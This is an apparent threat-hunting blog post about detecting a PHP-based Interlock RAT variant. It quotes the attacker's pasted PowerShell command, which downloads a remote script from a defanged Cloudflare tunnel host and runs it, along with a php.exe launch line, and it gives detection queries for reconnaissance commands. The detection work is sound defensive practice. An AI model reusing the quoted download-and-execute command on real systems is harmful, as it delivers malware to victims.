195. Hunting for Interlock RAT PHP Based Variant

Hello everyone!

The DFIR Report has published a report on Interlock RAT. The adversary used KongTuke and FileFix technique to deliver it to the target system.

The victim copies and pastes the following command:

"powershell.exe" -ep Bypass -w H -c "schtasks /delete /tn Updater /f; $w=New-Object System.Net.WebClient ; $w.Headers.Add(\"User-Agent\", \"PowerShell\") ; $w.DownloadString(\"hXXp://deadly-programming-attorneys-our[.]trycloudflare[.]com\") | iex"

Nothing interesting, right? But it spawns an interesting command abusing php.exe:

"C:\Users\REDACTED\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\\AppData\Roaming\php\wefs.cfg 1

Here we can search for PowerShell spawning php.exe from uncommon locations:

event_type: "processcreatewin"

AND

proc_p_file_path: "powershell.exe"

AND

proc_file_path: ("appdata" AND "php.exe")

The adversary used Interlock RAT to run various reconnaissance commands, so here we have another detection opportunity, for example:

event_type: "processcreatewin"

AND

proc_p_file_path: "php.exe"

AND

cmdline: ("systeminfo" OR "tasklist" OR "whoami" OR "nltest")

See you tomorrow!

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